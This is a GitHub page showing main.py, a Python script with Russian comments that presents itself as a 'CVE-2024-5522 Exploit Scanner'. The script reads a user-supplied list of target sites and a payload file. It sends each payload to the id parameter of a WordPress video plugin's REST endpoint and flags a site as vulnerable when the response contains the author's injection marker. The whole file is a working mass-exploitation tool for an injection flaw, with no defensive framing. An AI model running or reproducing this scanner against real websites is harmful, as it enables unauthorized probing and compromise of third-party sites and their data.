-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.py
95 lines (75 loc) · 4.86 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from os.path import expanduser as expand_user_path
from requests import get as http_get
from requests.exceptions import RequestException as HttpRequestException
from colorama import Fore as TerminalColor
open_file, print_message, current_name, user_input, access_attr, byte_convert = open, print, __name__, input, getattr, bytes
# Файл, содержащий полезные нагрузки для сканирования
PAYLOAD_FILENAME = 'payload.txt'
# Функция отображения баннера
def display_banner():
banner_text = (
'\n ______ _______ ____ ___ ____ _ _ ____ ____ ____ ____ \n'
' / ___\ \ / / ____| |___ \ / _ \___ \| || | | ___| ___|___ \|___ \ \n'
' | | \ \ / /| _| _____ __) | | | |__) | || |_ ____|___ \___ \ __) | __) |\n'
' | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____|__) |__) / __/ / __/ \n'
' \____| \_/ |_____| |_____|\___/_____| |_| |____/____/_____|_____| \n'
' \n'
' CVE-2024-5522 Exploit Scanner\n'
' developed by geniuszly\n'
)
print_message(banner_text)
# Функция для чтения списка целей из файла
def read_targets_file(targets_path):
file_path = expand_user_path(targets_path)
with open_file(file_path, 'r') as targets_file:
return [line.strip() for line in targets_file.readlines()]
# Функция для чтения полезных нагрузок из файла
def read_payload_file(payload_filename):
with open_file(payload_filename, 'r') as payload_file:
return [line.strip() for line in payload_file.readlines()]
# Функция проверки цели на уязвимость
def check_vulnerability(target_url, payload, exploited_urls):
target = target_url
# Если в начале URL не указан протокол, добавляем его
if not access_attr(target, 'startswith')('http'):
target = 'https://' + target
# Формируем полный URL для проверки уязвимости
request_url = f'{target}/wp-json/h5vp/v1/video/0?id={payload}'
try:
# Выполняем HTTP-запрос и устанавливаем таймаут на 10 секунд
response = http_get(request_url, timeout=10)
# Проверяем наличие маркера уязвимости в ответе
if 'Injected By geniuszly' in response.text:
print_message(TerminalColor.GREEN + f'[+] Цель уязвима! :D {target}' + TerminalColor.WHITE)
exploited_urls.append(request_url)
else:
print_message(TerminalColor.RED + f'[-] {target} не уязвима.' + TerminalColor.WHITE)
# Обработка исключений при HTTP-запросе
except HttpRequestException as error:
print_message(TerminalColor.RED + f'[!] Ошибка подключения к {target}: {error}' + TerminalColor.WHITE)
# Функция сканирования всех целей и полезных нагрузок
def scan_targets(targets_path, payloads_path):
# Читаем список целей и полезные нагрузки
target_list = read_targets_file(targets_path)
payload_list = read_payload_file(payloads_path)
# Список для хранения уязвимых URL-адресов
exploited_urls = []
# Проходимся по каждой цели из списка
for target in target_list:
print_message(TerminalColor.CYAN + f'\n[Сканирование {target}]' + TerminalColor.WHITE)
# Проверяем каждую полезную нагрузку для данной цели
for payload in payload_list:
check_vulnerability(target, payload, exploited_urls)
# Отображаем результаты сканирования
if exploited_urls:
print_message(TerminalColor.BLUE + '\n[Уязвимые URL-адреса]' + TerminalColor.WHITE)
for url in exploited_urls:
print_message(TerminalColor.CYAN + f'[+]{url}' + TerminalColor.WHITE)
else:
print_message(TerminalColor.RED + '\nУязвимости не найдены.' + TerminalColor.WHITE)
if current_name == '__main__':
display_banner()
# Получаем путь к файлу с целями от пользователя
targets_file_path = user_input('Введите путь к списку целей: ')
# Запускаем процесс сканирования
scan_targets(targets_file_path, PAYLOAD_FILENAME)